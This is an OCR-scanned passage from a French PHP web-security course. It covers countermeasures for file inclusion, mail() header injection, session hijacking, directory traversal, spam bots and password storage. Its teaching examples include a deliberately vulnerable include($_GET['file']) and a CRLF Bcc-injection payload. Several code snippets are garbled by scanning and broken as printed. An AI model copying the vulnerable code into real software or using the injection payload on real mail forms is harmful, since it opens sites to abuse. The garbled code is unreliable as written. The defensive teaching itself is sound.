Le chapitre suivant explique comment améliorer cette technique. Si vous désirez étre
encore plus efficace, vous pouvez cacher le champ adresse avec du JavaScript (ou

jQuery) ala place du CSS. Je vous laisse tester cette alternative.

Probléme n°9 : lutter contre la faille include (RFI et LFI)

Prenons I'’exemple suivant :

e Un script PHP contient : <?php include($_GET['file']); ?>

e Une URL renvoie a ce script : www.site.net/script.php?file=page.php

En modifiant 'URL, un attaquant pourrait inclure un fichier distant (RFI) ou local (LFI) a
la place du véritable fichier a inclure (ici : page.php). Le hacker pourrait par exemple
localement afficher le contenu d’un fichier de configuration ou d’un fichier de mots de

passe, ou encore a distance exécuter un webshell comme b374k ou pOwny !

2989




Introduction a la cybersécurité / Le monde du web

300:

Comment lutter contre ce type de faille ? La procédure a suivre est :

1. On n’indique pas dans I’'URL le nom complet du fichier a inclure mais seulement
la partie qui précéde I'extension

2. On vérifie avec une regex (expression réguliére) que cette partie ne contient que
des lettres, des chiffres, le tiret et I'underscore, et pas des caractéres qui
permettraient de voyager dans une arborescence (comme le point et le slash)

3. Ce sera au script PHP de rajouter lui-méme I’extension du fichier a inclure.

Code :

if (isset($_GET(['file']) && preg_match("#*[a-zA-Z0-9_-]+$#", $_GET['file'])) {
include "../". $_GET['file] . ".php" ;
}else {

/I AFFICHER UN MESSAGE D’ERREUR

Lorsque I’on utilise les sessions, un cookie est écrit sur I'ordinateur de I'internaute. Si

on n’a pas acceés au fichier php.ini avec son hébergeur et qu’on désire activer les flags
secure et httponly pour ce cookie, ce qui protége contre le vol du cookie durant le
transport (flag secure) et le vol du cookie dans le navigateur par du JavaScript (flag
httponly), il suffit de rajouter dans le code PHP une ligne devant le traditionnel

session_start().

Code : 0 : durée de vie du cookie
<?php (zéro signifie'jusqu’a la
. . fermeture du navigateur’)
session_set_cookie_params(0, /', null, true, true) ;
/ : le path
session_start() ; null : le domaine (facultatif)
7> true, true : flags secure et httponly
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Probléme n°11 : sécuriser la fonction mail( )

Pour rappel, la fonction mail(), qui permet d’envoyer des emails en PHP, a la syntaxe

suivante :

mail ([ DESTINATAIRE ], [ SUJET ], [ MESSAGE ], [ HEADERS ], [ PARAMETRES | )

Le deuxiéme paramétre [ SUJET ] est automatiquement filtré par la fonction mail( ),

I'injection d’en-téte n’y est donc pas possible.

Par contre, les paramétres [ DESTINATAIRE ] et [ HEADERS ] peuvent présenter des
failles de sécurité :

Paramétre [ DESTINATAIRE ] :

Si le formulaire qui génére I’envoi du mail permet d’indiquer le destinataire du
message, le hacker peut trés simplement ajouter d’autres destinataires en les

séparant par des virgules :

adresse1@site.eu

devient par exemple :

adresse1@site.eu, adresse2@site.eu, adresse3@site.eu, adressed4@site.eu

Le hacker peut ainsi envoyer des messages a de nombreuses personnes en une seule

opération.

Solution proposée pour le paramétre [ DESTINATAIRE ] :

Il suffit de valider I’adresse du destinataire avec :
$dest = filter_var($_POST['destinataire'], FILTER_VALIDATE_EMAIL) ;

Le tour est joué : il n’est plus possible d’ajouter d’autres destinataires dans le

champ 'destinataire’ du formulaire !
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Paramétre [ HEADERS ] :

Ce parameétre permet de spécifier un ou plusieurs en-tétes supplémentaires qui

doivent étre séparés par le caractére CRLF :

e CR=0x0D/%0D en hexadécimal = cela correspond au retour chariot (carriage
return) ou \r
e LF =0x0A/%0A en hexadécimal - cela correspond au passage a la ligne (line

feed) ou \n

Exemples d’en-tétes supplémentaires :

e From: expéditeur

¢ Reply-To: indique a quelle adresse on veut recevoir une réponse (si différent de From).
e Cc: copie carbone (Carbon Copy)

e Bcc: copie carbone cachée (Blind Carbon Copy)

o X-Mailer: spécifie le logiciel d’envoi du mail

Pour définir plusieurs en-tétes, on se sert d’un tableau, par exemple :

$headers = [
'From' => 'webmaster@mon-site.net’,
'Reply-To' => 'reply@mon-site.net’,
'X-Mailer' => 'PHP/' . phpversion()
1

Imaginons le script suivant :

$myHeader = "Reply-To: " . $_POST['my_header'] . "\r\n" ;

mail(‘admin@mon-site.net', '‘Demande d’information’, 'CONTENU DE LA DEMANDE ...',
$myHeader) ;

Le hacker pourra indiquer, dans le champ du formulaire récupéré par

$_POST['my_header’], le contenu suivant :
anonyme@email.info\r\nBcc: victime@site.fr\r\n\r\nContenu ajouté, bla bla bla.

Bingo : le pirate a réussi a ajouter un destinataire en copie cachée et a méme modifié

le contenu de I’'email.
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L’administrateur du site recevra donc un message provenant d’un utilisateur anonyme
avec un message anodin tandis qu’une copie cachée sera envoyée a l'insu de cet

administrateur a une personne cible avec un message différent.

De plus, le message caché aura pour origine I’adresse IP du serveur hébergeant le script
PHP et pas celle du hacker. Ce serveur fera office de proxy SMTP derriére lequel se

cachera le hacker !... Cette faille de sécurité est vraiment problématique.

> Solution proposée pour le paramétre [ HEADERS ] :

Il suffit ici, pour éviter I'injection d’en-téte, de supprimer les caractéres \r (CR)

et \n (LF) a I'aide de la fonction str_replace( ) dont voici la syntaxe :

mixed str_replace ( mixed $search , mixed $replace , mixed $subject)

Toutes les occurrences de search contenues dans subject sont remplacées par

replace.

Il nous faut donc écrire, par exemple :

$myHeader = 'Reply-To: '. str_replace(['\r\n', \r', \n"], ", $_POST['my_header']) .

"WAn" ;

mail(‘admin@mon-site.net’, '‘Demande d’information’, 'CONTENU DE LA
DEMANDE ...", $myHeader) ;

Le tour est encore joué : I'injection d’en-téte n’est plus possible !

Depuis PHP 5.5, le paramétre [ HEADERS ] posséde une protection contre les

injections d’en-téte. Je viens a I'instant de tester une injection de ce paramétre

avec PHP 8 et effectivement, I'injection semble ne plus fonctionner !

o -
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<?>

Probléme n°12 : validation des entrées utilisateur a I’aide de filtres T PHP

Il y a une régle d’or en développement web :

NEVER TRUST USER INPUT !

Il nous faut donc valider les entrées utilisateur car elles peuvent causer de gros

problémes de sécurité, que ce soit volontaire ou non de la part des internautes.

La validation peut se faire avec des expressions réguliéres (REGEX) ou avec des
filtres, ces derniers étant un peu moins efficaces mais beaucoup plus simples a

utiliser.

Les filtres permettent la validation des données mais aussi leur nettoyage, dans une

certaine mesure.
La fonction utilisée sera :
filter_var(VARIABLE, FILTRE, TABLEAU D’OPTIONS)

Cette fonction posséde donc un, deux ou trois paramétres (seul le premier est

obligatoire) et retourne les données filtrées ou FALSE en cas d’échec.

A. VALIDATION AVEC FILTER_VALIDATE_

Que peut-on valider ?

Nombre entier $result = filter_var($nbre, FILTER_VALIDATE_INT)
Nombre décimal $result = filter_var($nbre, FILTER_VALIDATE_FLOAT)
Un email $result = filter_var($email, FILTER_VALIDATE_EMAIL)
Une URL $result = filter_var($url, FILTER_VALIDATE_URL)
Une adresse IP $result = filter_var($ip, FILTER_VALIDATE_IP)

Vous comprendrez aisément que cette validation est beaucoup plus simple a mettre
en place que la validation a 'aide d’'une REGEX. Par exemple, pour valider une

adresse email avec les expressions réguliéres, on aurait le code suivant :
$regex = "#"[a-zA-Z0-9_.-]+@[a-zA-Z0-9_.-]+\.[a-zA-Z]{2,4}$#";

$result = preg_match($regex, $email);
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Utilisation du tableau d’options :

Imaginons que I’on désire valider un entier avec une condition supplémentaire : cet

entier doit étre compris entre 0 et 50. Voici le code :

$option =[
‘options’ => [
'min_range' => 0,
'max_range' => 50
]
I3

$result = filter_var($age, FILTER_VALIDATE_INT, $option) ;

B. NETTOYAGE AVEC FILTER_SANITIZE_

Que peut-on nettoyer ?

Nombre entier $result = filter_var($nbre, FILTER_SANITIZE_NUMBER_INT)
Nombre décimal $result = filter_var($nbre, FILTER_SANITIZE_NUMBER_FLOAT)
Un email $result = filter_var($email, FILTER_SANITIZE_EMAIL)
Une URL $result = filter_var($url, FILTER_SANITIZE_URL)
Une chaine $result = filter_var($chaine, FILTER_SANITIZE_STRING)

Par exemple, le filtre de nettoyage d’un email supprime tous les caractéres sauf les
lettres, chiffres, et 1#$%&"*+-=?"_{|}~@.[].

Le filtre pour les chaines supprime les balises, et supprime ou encode les caractéres

spéciaux.

Le filtre pour les entiers supprime tous les caractéres sauf les chiffres et les signes

plus et moins.
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C. VALIDATION ET NETTOYAGE AVEC VOTRE PROPRE FILTRE

On va ici utiliser le filtre FILTER_CALLBACK qui fait appel a une fonction que vous
allez créer de toute piéce..

Voici un exemple de validation personnalisée avec ce filtre :

function maFonction($varAVerifier) {
$new_var = preg_match('REGEX', $varAVerifier) ;
return $new_var ;

$option =[
‘options' => 'maFonction’

1;

if (filter_var($var, FILTER_CALLBACK, $option)) {
/I VALIDATION OK'!
}else {
/I ECHEC DE LA VALIDATION!

Pour un nettoyage personnalisé avec ce filtre, il suffit dans le code ci-dessus de
remplacer

$new_var = preg_match('REGEX', $varAVerifier)
par

$new_var = preg_replace('REGEX’, $remplacement, $varANettoyer)

D. TRAITER PLUSIEURS VARIABLES SIMULTANEMENT AVEC filter_input_array( )

On va ici utiliser une nouvelle fonction :

filter_input_array(INPUT_POST, $filtres)

filter_input_array(INPUT_GET, $filtres) ., Selon’ I’or‘igint_a des
filter_input_array(INPUT_COOKIE, $filtres) donnees a traiter.
filter_input_array(INPUT_SERVER, $filtres)
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Imaginons que I’'on récupére les données d’un formulaire avec :
$_POST['age’], $_POST['email'], et $_POST['url'].

Nous aurons, pour traiter ces variables simultanément, le code suivant :

$filtres = [
'age’ => FILTER_VALIDATE_INT,
'email' => FILTER_VALIDATE_EMAIL,
'url' => FILTER_VALIDATE_URL

1;

$result = filter_input_array(INPUT_POST, $filtres) ;

CAS PARTICULIER N°1 : définir une option pour un filtre

On va, par exemple, remplacer dans le code ci-dessus la ligne :
‘age' => FILTER_VALIDATE_INT,
par
‘age’ => [
filter' => FILTER_VALIDATE_INT,
‘options’ => ['min_range' => 0, 'max_range' => 50]

1,

CAS PARTICULIER N°2 : utiliser une REGEX comme filtre

On va ici aussi remplacer dans le code ci-dessus la ligne :
‘email' => FILTER_VALIDATE_EMAIL,
par
‘email’ => [
filter' => FILTER_VALIDATE_REGEXP,
'options' => ['regexp' => '#*[a-z0-9_.-]+@[a-z0-9_.-]+\.[a-Z]{2,4}$#i" ]
I,
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Probléme n°13 : exposition de données sensibles

(Sensitive data exposure)

Il est courant pour un programmeur de mettre des commentaires dans son code durant
la phase de développement. Ces commentaires peuvent contenir des données
sensibles et le programmeur oublie parfois de les enlever avant de rendre I’application

publique.

Pour éviter que ces commentaires "oubliés" tombent en de mauvaises mains, une fois
I’application accessible au public, il suffit de remplacer les commentaires HTML par des

commentaires PHP. En effet, ces derniers ne seront pas affichés cété client.

commentaire HTML <l-- CECI EST UN COMMENTAIRE -->

2

commentaire PHP <?php // CECI EST UN COMMENTAIRE ?>

I(-I

RAPPEL
COMMENTAIRE HTML <!-- CECI EST UN COMMENTAIRE -->
COMMENTAIRE JAVASCRIPT /I CECI EST UN COMMENTAIRE
COMMENTAIRE PHP [* CECI EST UN COMMENTAIRE */

Probléme n°14 : lutter contre le session hijacking

Deux fonctions seront utilisées :

= On utilise la fonction session_regenerate_id() qui génére réguliéerement un nouvel
identifiant de session qui remplace I’ancien. Cela bloque I'attaquant.
=>» On utilise la fonction session_set_cookie_params() qui limite la durée de vie d’'une

session. Si l'utilisateur reste trop longtemps inactif, sa session expire.
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Probléme n°15 : journalisation et surveillance insuffisante

(Insufficient logging and monitoring)

Une journalisation de type :
if($_POST['username'] !="'max’ || ($_POST['password'] != 'secret')) {
error_log(‘'Login Failed') }

est totalement insuffisante.

Il faut fournir un minimum d’information pour documenter le log. Par exemple, on

pourra avoir :
if(($_POST['username’] != 'max’ || ($_POST['password'] != 'secret')) {

error_log($_SERVER['REMOTE_ADDR'].":". $_SERVER['REMOTE_PORT']." Login Failed") }

Probléme n°16 : directory listing et directory traversal

1. Le moyen le plus simple de lutter contre le directory listing consiste a placer un

fichier index.html ou index.php vide dans chaque répertoire dont on ne veut pas
divulguer le contenu !

2. Pour le directory traversal, on remplacgait auparavant le traditionnel $_GET[‘file’] par :
basename(realpath($_GET][‘file’])) Cette méthode n’est plus recommandée aujourd’hui !

La fonction realpath() renvoie, si le fichier existe, le chemin absolu du fichier en éliminant les ../

tandis que la fonction basename() renvoie le nom du fichier lui-méme, sans son chemin.

Technique actuelle pour bloquer le directory traversal :

« 1. Définir un répertoire racine autorisé : $baseDir = __ DIR__ . '/files/’;

« 2. Résoudre le chemin demandé : $path = realpath($baseDir . $_GET['file']);
« 3. Vérifier que le chemin résolu est dans le répertoire autorisé

if ($path !'== false && str_starts_with($path, $baseDir)) { // OK : accés autorisé }
else { // tentative d’attaque }
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PHP et OWASP Top 10

OWASP Top 10 Contre-mesures
Injection SQL : utiliser les requétes préparées
A1 Injections
Injection de commande : utiliser escapeshellcmd()
= L’ID de session doit étre complexe et aléatoire
= L’ID de session doit expirer en cas de logout ou
Broken . .y - .
Authentication d’inactivité de I'utilisateur (timeout)
A2 and Session => |l faut utiliser HTTPS
= Pour définir un nouveau mot de passe, il faut d’abord
Management . .
fournir ’'ancien
= Les mots de passe doivent étre hachés avant stockage
A3 XSS Utiliser : htmispecialchars()
Insecure Direct . . . . )
. Web parameter tampering (www.site.net/profile.php?id=X) : I'id
A4 Object L o
doit étre long et aléatoire.
Reference
. = Désactiver allow_url_* si le file upload n’est pas utilisé
Security e
A5 Misconfiauration = Input sanitization
9 = Suppression des comptes par défaut
A6 Sensitive Data Utiliser le hachage des mots de passe
Exposure
Missing
A7 Function Level Chaque page doit vérifier si I'utilisateur posséde les droits requis
Access Control
A8 CSRF Utiliser la technique du jeton aléatoire
Using Lors de l'utilisation de librairies de tierce partie :
A9 Components
with known = Maintenir ces librairies a jour
vulnerabilities => Supprimer les librairies qui ne sont plus nécessaires
www.site.net/redirect.php?u=http://www.commerce.com
Unvalidated devient :
UY Redirects and www.site.net/redirect.php?u=2
Forwards
et on associe, coté serveur, I'index 1 du tableau $url a I’adresse
http://www.commerce.com.

(clorete]



Introduction a la cybersécurité / Le monde du web

311:

Méthode pratique pour remplacer un CAPTCHA

Le développement web est confronté a un dilemme : il faut qu’un site web soit a la fois
sécurisé et user-friendly. Un compromis doit donc étre trouvé en permanence entre la

sécurisation du site et son ergonomie.

Pour limiter le spam avec les formulaires de contact, les CAPTCHA sont souvent
utilisés. lls ne sont pourtant pas trés ergonomiques et sont méme pour beaucoup

d’internautes plutét horripilants.

Je vais vous montrer ici comment les remplacer par un code plus transparent,

totalement invisible et qui fonctionne de fagon assez efficace :

Soit le formulaire basique ci-dessous :

<form action="traitement.php™ method="POST">
<label for="nom">Nom :</label><br>

<input type="text" id="nom" name="nom" ><br><br>

<label for="email">Email :</label><br>

<input type="email" id="email" name="email" ><br><br>

<label for="message">Message :</label><br>

<textarea id="message" name="message" rows="5" ></textarea><br><br>

<button type="submit">Envoyer le formulaire</button>

</form>

Pour remplacer le CAPTCHA, je vais ajouter trois champs a ce formulaire :

= Un champ input pour I'adresse (id et name ="adresse")
= Un champ input pour la ville (id et name ="ville")

= Un champ input pour le téléphone (id et name ="phone")
Ces trois champs portent des noms innocents pour ne pas indiquer leur réle exact !

Les trois champs seront rendus invisibles grace a un code CSS. Par exemple, pour le

champ adresse, vous utiliserez un des deux codes équivalents ci-dessous :

v' #adresse{display:none;}

v’ #adresse {position:absolute; left:-8888px; } <«— Je conseille ce code
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Astuces utilisées :

= Le champ adresse devra rester vide. Si un bot fait du spam, il va probablement
remplir ce champ, on pourra alors stopper le traitement du formulaire en
constatant ce remplissage.

= Le champ ville va quant a lui vérifier si la souris est utilisée ou si une frappe au
clavier est constatée. Dans le cas contraire, le bot sera encore démasqué et le
traitement sera une nouvelle fois stoppé.

= Le champ phone va quant a lui permettre la mesure du temps mis pour soumettre
le formulaire. Un humain mettra un certain temps pour remplir le formulaire alors
qu’un bot le fera en 1 seconde. On peut par exemple considérer qu’un temps
inférieur a 5 secondes est attribuable a un bot et le traitement sera alors ici

encore stoppé.

En pratique :

= Le champ ville contiendra une valeur quelconque : value="Paris", et cette valeur
sera modifiée par un code JavaScript situé dans la page du formulaire (si la souris
ou le clavier sont utilisés). La nouvelle valeur sera par exemple : Ushuaia. Voici ce
code JavaScript :
<script>

function human_test() {

document.getElementByld('ville').value = '‘Ushuaia;

}

window.addEventListener('mousemove’', human_test, { once: true });

window.addEventListener('keydown’', human_test, { once: true });

</script>

= Le champ phone contiendra l'attribut suivant : value="<?= $formTime; ?>". La
variable $formTime sera définie au début de la page (contenant le formulaire) par le

code : <?php $formTime = time(); ?>
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Finalement, la page du formulaire contiendra en partie ce code :

<?php $formTime = time(); 7>
<script>
function human_test() {

document.getElementByld('ville').value = '"Ushuaia’;

}

window.addEventListener('mousemove’, human_test, { once: true });
window.addEventListener('keydown’', human_test, { once: true });

</script>

<form action="traitement.php"” method="POST">
<label for="nom">Nom :</label><br>

<input type="text" id="nom" name="nom"><br><br>

<label for="email">Email :</label><br>

<input type="email" id="email" name="email" ><br><br>

<label for="adresse">Adresse :</label><br>

<input type="text" id="adresse" name="adresse"><br><br>

<label for="ville"> Ville:</label><br>

<input type=" text " id="ville" name="ville" value="Paris"> <br><br>

<label for="phone">Téléphone :</label><br>

<input type="text " id="phone" name ="phone" value="<?= $formTime; ?>"> <br><br>

<label for="message">Message :</label><br>

<textarea id="message" name="message" rows="5"></textarea><br><br>

<button type="submit">Envoyer le formulaire</button>

</form>

Ne pas oublier le code CSS, de préférence externe (fichier style.css),

pour rendre invisible les trois champs ajoutés au formulaire.
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On aura alors, c6té serveur, dans traitement.php, un code semblable a ceci :
<?php

if ($_SERVER["REQUEST_METHOD"] == "POST") {

$bot_detected = false;
if (lempty($_POST['adresse'])) { $bot_detected = true; }

$human_or_not = $_POST['ville'];

if (Shuman_or_not != "Ushuaia") { $bot_detected = true; }

$form_time = filter_var($_POST['phone’], FILTER_VALIDATE_INT);
if ($form_time && time() - $form_time < 5) { $bot_detected = true; }

if ($bot_detected == true) { WX[OIXINYNIN=IS\ W MeIVA o) X1V W.NI3{=
HCIECRE"TRAITEMENT DU FORMULAIRE"H
}

?>

Le code de ce chapitre est évidemment tout a fait basique et doit étre adapté et amélioré

selon vos besoins et envies...

EN RESUME

Nous avons réalisé un code qui détecte de fagon ergonomique, a la place d’un CAPTCHA,

I’activité d’un bot spammeur.

Cette activité a été mise en évidence grace :

= Au remplissage par le bot d’'un champ INPUT censé rester vide.
> Alanon-détection d’une activité humaine (via I'utilisation de la souris ou du clavier).
= Au temps mis pour soumettre le formulaire (un bot le fera en 1 seconde alors qu’un

humain le fera en beaucoup plus de temps).

Un bot peut éventuellement contourner une ou deux des trois mesures ci-dessus mais

plus rarement les trois.

2989



Introduction a la cybersécurité / Le monde du web 3 1 5

Sécuriser ses cookies de session avec les flags

Si votre site utilise une variable de session pour, par exemple, définir un jeton aléatoire anti-
CSREF, il faut préalablement ouvrir une session comme ci-dessous :
session_start();

$_SESSION["jeton"] = bin2hex(random_bytes(6)) ;

4

bin2hex(random_bytes(6)) est une valeur aléatoire exprimée en hexadécimal.

Le cookie essentiel (cookie technique) associé a cette session sera épinglé par

https://secureheaders.com parce qu'il n’est pas sécurisé.

Pour le sécuriser correctement, il faut lui ajouter le flag httponly, le flag secure, le flag

samesite et un préfixe. Cela donne en pratique :

ini_set('session.cookie_httponly’, 1);
ini_set('session.cookie_secure’, 1);
ini_set('session.cookie_samesite', 'Lax’);
session_name('__Secure-PHPSESSID');
session_start();

$_SESSION["jeton"] = bin2hex(random_bytes(6)) ;

4

= Les flags httponly et secure restreignent I’accés au cookie'®.
= Le flag samesite protége partiellement contre les attaques CSRF.

= Le préfixe __Secure- protége contre la fixation de session.

10 Le flag httponly protége du vol du cookie dans le navigateur (par un script JavaScript) tandis
que le flag secure protége du vol du cookie pendant le transport ( le cookie ne sera utilisé qu’au
cours d’une communication chiffrée par SSL/TLS).
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Vérifier rapidement la sécurité de votre serveur

316:

Nous savons déja que le site https://securityheaders.com permet de vérifier vos en-tétes HTTP :

Security Headers Home  About

Sponsored by Pro b e I y

Scan your site now

Cybel-fr Scan

Hide results Follow redirects

Donate

Security Report Summary

Site: https://cybe [l fr/

IP Address: 1
A + Report Time: 09 Dec 2022 03:35:34 UTC
v Content-Security-Policy } + Strict-Transport-Security

Le site https://www.ssllabs.com/ssltest/ quant a lui permet de vérifier votre configuration SSL :

@ Qualys. ssL Labs
You are here: Home > Projects > SSL Server Test > cybell.fr

SSL Report: cyberlllll fr (1IN

Home Projects Qualys Free Trial Conta:

Assessed on: Fri, 09 Dec 2022 03:37:22 UTC | HIDDEN | Clear cache Scan Another

Summary

Overall Rating

Certificate

I Protocol Support
Key Exchange

Cipher Strength

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.

This site works only in browsers with SNI support.
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Et apres ?

Les vérifications de la page précédente sont évidemment nécessaires mais pas suffisantes.

La sécurité du serveur est une chose, la sécurité de votre application web en est une autre. Il
conviendra donc ensuite d’utiliser des outils comme Nikto ou OWASP ZAP pour la recherche

dans cette application de vulnérabilités (XSS, CSRF, SQLi, injection de commande, ...) :

Fichier Modifier Vue Analyser Rapport Outils Importer Exporter Enligne Aide
Mode standard v | | ] & gl eEolamE e 96 % @ Beoe@® @ ]
@sies & .

s 7 Démarrage rapide # =» Requéte 4= Réponse " Requéteur &=

BB

e Welcome to OWASP ZAP

2] Contexte par défaut ZAP est un outil de test de pénétration intégré facile a utiliser pour la recherche de vulnérabilités dans les applications web.

@ sites Ifyou are new to ZAP then itis bestto start with one of the options below.
Automated Scan Manual Fxnlore | earn Mare
News
[ Welcome to ZAP 2.12.0 - the Ten Thousand Star release ~ Learn More
= Historique < Rechercher [ Alertes | Sortie

© @ ' Filtre: OFF ¢ Exporter

Id Source Timestamp de req. Méthode URL Code Raison RTT Taille du corps derép. Alerte Ia plus élevée Remarque Tags &=

Alertes W0 0 20 A0 Main Proxy: localhost:8080

Scansencours 40 0 @0 D0 @0 0 Fo0 FoO

On pourra encore utiliser le scanner Nessus.
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Les mots de passe : introduction

Pour éviter qu’une personne mal intentionnée ne devine vos mots de passe, il faut respecter
quelques régles :
o Ne pas utiliser d’'informations personnelles (nom du chien, prénom des enfants, date
de naissance d’'un membre de la famille, ...)
e Ne pas utiliser un mot du dictionnaire (les attaques par dictionnaire sont alors
possibles).
e Ne pas utiliser un mot de passe commun ("123456", "azerty", "secret123", ...)
e Ne surtout pas utiliser le méme mot de passe sur des sites différents (si le mot de

passe est compromis, le cybercriminel aura accés a tous vos sites simultanément).

Du coté serveur :

o Ne pas stocker les mots de passe en clair (utiliser leur hash et le saler).

Astuce : pour savoir si votre adresse mail fait 'objet d’'un détournement sur Internet, il suffit de

vous rendre sur le site https://haveibeenpwned.com/ :

'.--have i been pwned?

Si le résultat est positif, vous obtenez un avertissement sur fond rouge :

Oh no — pwned!

Pwned on 1 breached site and found no pastes (subscribe to search sensitive breaches)

Dans le cas contraire, vous obtenez la bonne nouvelle sur un fond vert :

Good news — no pwnage found!

No breached accounts and no pastes (subscribe to search sensitive breaches)

Je vous conseille de vous rendre dés maintenant sur ce site pour vérifier votre adresse mail.
Que faire pour améliorer la sécurité de vos mots de passe ? Il y a une solution trés
intéressante : les gestionnaires de mots de passe (Password Managers). En voici trois

exemples (mais il y en a d’autres) :

/ dashlane LastPass---|
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Quels sont les avantages de ces oultils :

¢ lIs stockent vos mots de passe de maniére sécurisée.

o lIs permettent d’avoir des mots de passe compliqués et longs pour chaque site sans
devoir les retenir.

¢ Siune tentative de phishing vous redirige vers un site qui copie celui de votre banque,
le gestionnaire de mots de passe ne va pas le reconnaitre et n’affichera pas le mot de

passe concerné !

Je ne peux que vous encourager a utiliser ce type d’outil de sécurité !

Un des grands problémes au sujet des mots de passe, hormis le fait qu’ils sont mal utilisés par
les utilisateurs (emploi du méme mot de passe sur de nombreux sites différents, ...), est la
facon dont ils sont stockés par les sites web, sur les serveurs. Encore trop souvent, ils sont

stockés en clair ! Un simple vol de la base de données les rend disponibles pour les hackers.

La contre-mesure consiste a stocker les mots de passe hachés, en utilisant une fonction de

hachage cryptographique standard comme MD5, SHA-1, SHA-256, ...
Deux problémes supplémentaires se posent alors :

e Deux utilisateurs qui ont le méme mot de passe auront le méme hash.
o |l existe des listes contenant un grand nombre de mots de passe et leur hash

correspondant pour une fonction donnée (les Rainbow Tables, tables arc-en-ciel)

Pour résoudre ces deux problemes, on utilise la technique du salage. Le sel (salt en anglais)
est une chaine de caractére longue et aléatoire, propre a chaque utilisateur, qui est ajoutée a

la suite du mot de passe avant le hachage.

Exemple :
Utilisateur Mot de passe Sel Hash (SHA-256) ‘
max@....... test1234 aZqr78twQcPt4Km XXXX &————

= SHA-256 ("test1234" + "aZqr78twQcPt4Km") <

= B648C45F7658E8C2FE594453D409BE5B319D869A1F4BC6C49B040D2CBF765EAC

(Vous pouvez calculer ce hash sur le site http://[passwordsgenerator.net/sha256-hash-generator/)
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Pour chaque utilisateur, la base de données ne conserve plus le mot de passe mais

uniqguement le sel et le hash salé. Voici un exemple d’enregistrement :

Identifiant (mail ou username) Sel Mot de passe salé et haché

L’attaque grace a des hashs précalculés (Rainbow Tables) n’est apparemment plus possible !

Nous verrons ce qu’il en est un peu plus loin...

Voici ce qui se passe lors de I'authentification avec un mot de passe haché et salé :

Le serveur calcule

L'utilisat t le hash a partir de Le hash calculé
utt lsateL(ljr soume du mot de passe correspond a celui
son mot de passe soumis et du sel de Ila base de

n clair. ,
encla — | contenu dans la |—5 | données ?

base de données.

UserName
Password

Oul NON
Authentification Echec de
réussie authentification

En réalité, cela est trop beau pour étre vrai. En effet, I'utilisation de la force brute peut toujours
permettre de retrouver un mot de passe a partir de son hash, méme salé. La raison de cela

est que les algorithmes de hachage sont rapides (ils sont congus pour cela).

Constat logique : rapide a chiffrer implique rapide a déchiffrer !
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Dés lors, comment stocker les mots de passe de maniére sécurisée ?

La solution consiste a utiliser, non pas une fonction de hachage cryptographique standard
(comme MD5, SHA-1, SHA-256...), mais une fonction de hachage cryptographique
coliteuse en calcul. Ces algorithmes sont beaucoup plus lents. L’empreinte étant plus lente
a calculer, la force brute ne fonctionnera plus. On continue avec ce type de fonction a utiliser

le salage, pour différencier le hash de deux utilisateurs qui auraient le méme mot de passe.

Exemples de telles fonctions de hachage cryptographique colteuses en calcul : berypt,

Argon2, PBKDF2, scrypt, ... Les algorithmes Argon2 et bcrypt sont recommandés.

L’algorithme bcrypt, par exemple, permet de définir un grand nombre d’itérations (c’est
une fonction dite adaptative), ce qui rend une attaque par force brute peu envisageable.
Pour vous donner un ordre de grandeur, becrypt est 50.000 a 300.000 fois plus lent que
MD5. En configuration hautement sécurisée, Argon2 peut méme étre 2.000.000 plus lent
que MD5 !

Les fonctions PHP suivantes seront utiles au programmeur

e password_hash('mot_de_passe', PASSWORD_BCRYPT) : calcule le hash bcrypt d’'un mot de passe,

e password_verify($password, $hash) : vérifie qu’'un mot de passe correspond a un hachage.

SCINEN CRiE il olelgY e : $2y$10$RdH70HjTHMJ2pA4HbQCcKB.8ztfOF5xsAmEyxZ17jhpNnpnNaDUHOW

$2y = version de I’algorithme bcrypt utilisé
$10$ = facteur de cout (10 est la valeur par défaut en PHP) = 1024 itérations
RdH70HjTHMJ2pA4HbQcKB = sel

.8ztfOF5xsAmEyxZ17jhpNnpnNaDUH9W = hash (mot de passe + sel + coiit) encodé en Base64

Imaginons maintenant qu’un site web ne soit pas encore passé aux mots de passe hachés par

une fonction cryptographique comme bcrypt.

II'y a deux fagons pour lui de se mettre a jour, une maniére graduelle et une maniere plus

brutale. Voyons cela.
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MISE A JOUR GRADUELLE :

Que va-t-il se passer au moment de I'authentification d’un utilisateur :

. On calcule le hash
. Le mot de passe est-il
Le mot de passe est-il | oul , NON | becrypt et on met la
. déja stocké en tant
valide ? base de données a
que hash bcrypt ? .
jour.

ERREUR oK

Au bout d’un certain temps, si tous les mots de passe n’ont pas été correctement hachés, on
remplace tous les mots de passe non encore haché avec bcrypt, en prévenant de maniere

adéquate les utilisateurs.

MISE A JOUR INSTANTANEE :

Cette deuxiéeme stratégie consiste a modifier la base de données d’'un seul coup. Si elle
contient, par exemple, des hashs MD5, il suffit de les remplacer tous par le hash-bcrypt du

hash-md>5, soit berypt (md5 (mot_de_passe)).

Lors de l'authentification d’un utilisateur, on vérifiera si le mot de passe soumis est bien correct
en vérifiant que berypt (md5 (mot_de_passe_soumis)) correspond bien au hash de la base

de données.

Si c’est le cas, on calcule le hash bcrypt du mot de passe soumis et on met a jour cette base

de données en remplagant I'ancien hash par le nouveau.
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Voyons cela : que se passe-t-il au moment de I'authentification ?

On vérifie le mot de On calcule le hash
oul passe soumis avec Ooul bcrypt du mot de
Le hash est-il encore asse soumis et on
un vieux hash MD5 ? berypt (mdS (psswd)) i
- y met Ila base de
Vérification positive ? données a jour.

NON NON

FRREDR
On vérifie le mot de
passe directement

avec bcrypt.

Cela suppose que I'on adapte la base de données pour qu’elle garde en mémoire le type de

hash gu’elle contient. S’agit-il de md5(psswd), berypt(md5(psswd)) ou berypt(psswd) ?

RESUME : comment stocker les mots de passe dans une base de données

En clair. Méthode trés dangereuse
Hachés avec une fonction de hachage standard. Méthode dangereuse
Hachés et salés avec une fonction de hachage standard. Méthode peu sire

Hachés et salés avec une fonction de hachage colteuse en calcul. | Méthode terriblement siire

Pour respecter le RGPD, il est conseillé de ne plus stocker les mots de passe en clair !
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Authentification a deux facteurs (2FA)

Pour renforcer la sécurité lors de l'authentification (les mots de passe seuls ne sont pas
toujours sdrs, surtout & cause de leur gestion par les utilisateurs), on peut utiliser

I'authentification a deux facteurs (Two-Factor Authentication, 2FA). En voici trois exemples :

N . Oncombine 'habituel username-password avec
un code de vérification envoyé par SMS.
e On combine I'habituel username-password avec
un code de vérification envoyé par mail.
2 F A ¢ On combine I'habituel username-password avec
I'utilisation d’'une clé de sécurité U2F (Universal
Second Factor). L'exemple le plus connu est la clé
de sécurité USB YubiKey (de Yubico).

